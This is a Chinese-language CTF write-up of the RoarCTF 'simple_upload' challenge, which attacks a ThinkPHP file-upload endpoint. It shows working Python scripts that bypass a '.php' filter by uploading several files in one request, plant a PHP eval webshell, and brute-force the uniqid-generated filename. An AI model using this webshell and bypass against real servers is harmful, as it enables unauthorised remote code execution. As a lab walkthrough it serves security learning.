RoarCTF-simple_upload

题目描述

打开题目链接之后,看到如下代码

 <?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 
可以发现,该站是ThinkPHP写的一个文件上传网站。

题目分析

  • 1、分析代码可知,该站可以通过POST方法实现上传文件功能,但是从第14行代码发现php后缀的文件被禁止上传,因此我们需要想办法绕过限制,上传php小马

  • 2、该脚本通过allowExts方法设置上传类型,但是查阅资料得知这种使用方法是不对的,并不能限制上传的文件类型。

  • 3、upload()函数不传参时为多文件上传,整个$_FILES数组的文件都会上传保存,可以利用该属性通过一次访问上传多个文件。

    结合以上分析得知的内容可知,可以利用$_FILES数组上传多个文件来绕过对php的过滤。

解题过程

1、测试上传功能

首先编写python脚本向网站POST一个非php的文件,这里上传了一个txt文件,测试能否正常上传文件,下面是上传测试代码段:

url = "http://c85e5a48-c5f8-4a5b-9a30-6a81677fd75e.node3.buuoj.cn"
path = url + "/index.php/home/index/upload"
files = {"file":("ma.txt",'hello')}
r = requests.post(path, files=files)
print(r.text)
回显内容如下:
{"url":"\/Public\/Uploads\/2019-10-24\/5db1841fb439d.txt","success":1}
能够成功上传文件。

2、测试上传php文件:

url = "http://c85e5a48-c5f8-4a5b-9a30-6a81677fd75e.node3.buuoj.cn"
path = url + "/index.php/home/index/upload"
files = {"file":("ma.txt",'hello'), "file1":("ma.php", '<?php eval($_GET["cmd"]);')}
r = requests.post(path, files=files)
回显内容如下:
{"url":"\/Public\/Uploads\/2019-10-24\/5db18420027a3.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
由回显可知,我们成功上传了php文件,但是并没有回显php的文件名
* 其实在比赛做赛题的时候发现,直接上传php文件也是可以成功的,只不过也不会回显文件名。

通过多次上传发现规律:新文件名是以微秒为单位转十六进制的字符串(后来在WP中了解到ThinkPHP中,文件名是通过uniqid函数生成的,uniqid函数是基于以微秒计的当前时间计算的)

因此找到php的文件名,理论上就可以成功连接到我们上传的小马,而方法只有一个,那就是爆破

3、爆破php文件名

爆破代码如下:

import requests

url = "http://c85e5a48-c5f8-4a5b-9a30-6a81677fd75e.node3.buuoj.cn"
path = url + "/index.php/home/index/upload"
files = {"file":("ma.txt",'hello'), "file1":("ma.php", '<?php eval($_GET["cmd"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print (t1)

s = "1234567890abcdef"
for i in s:
    for j in s:
        for k in s:
            path = url + "/Public/Uploads/2019-10-24/" + t1[:-3] + "%s%s%s.php" % (i, j, k)
            r = requests.get(path, timeout=1)
            print(path)
            if r.status_code != 404:
                print(path)
                # print(r.text)
                break
由于我们是利用$_FILES数组的属性实现一次访问,上传两个文件,因此中间相隔的时间较短,利用以上单线程的爆破即可拿到php的文件名,然后常规操作连接小马拿flag。

这里还有另一种方法是利用BP进行爆破,只需爆破文件名的后三个字符即可,其实原理是一样的,只是工具不同而已。


但是在BUUCTF的站上使用BP爆破时会回显429 Too Many Requests (太多请求),同样如果用自己的多线程代码去爆破也会遇到这个问题,是网站为了限制客户端的请求数量的配置,没办法,只能用单线程。

思考总结

在比赛的时候,由于不了解代码中一次访问可以上传多个文件的漏洞,便采用了上传三次文件的方法(第一次上传txt,第二次传php小马,第三次再传txt,以此得到命名范围),这就导致第一次和第三次拿到的文件名范围比较广,爆破困难,当时自己写了个蹩脚的多线程,最终也没能成功爆破出文件名...
赛后看了几个WP关键步骤还是在于爆破文件名,我采用的这种方法也有人成功拿到了flag...不过正解应该还是利用漏洞一次上传多个文件来爆破吧。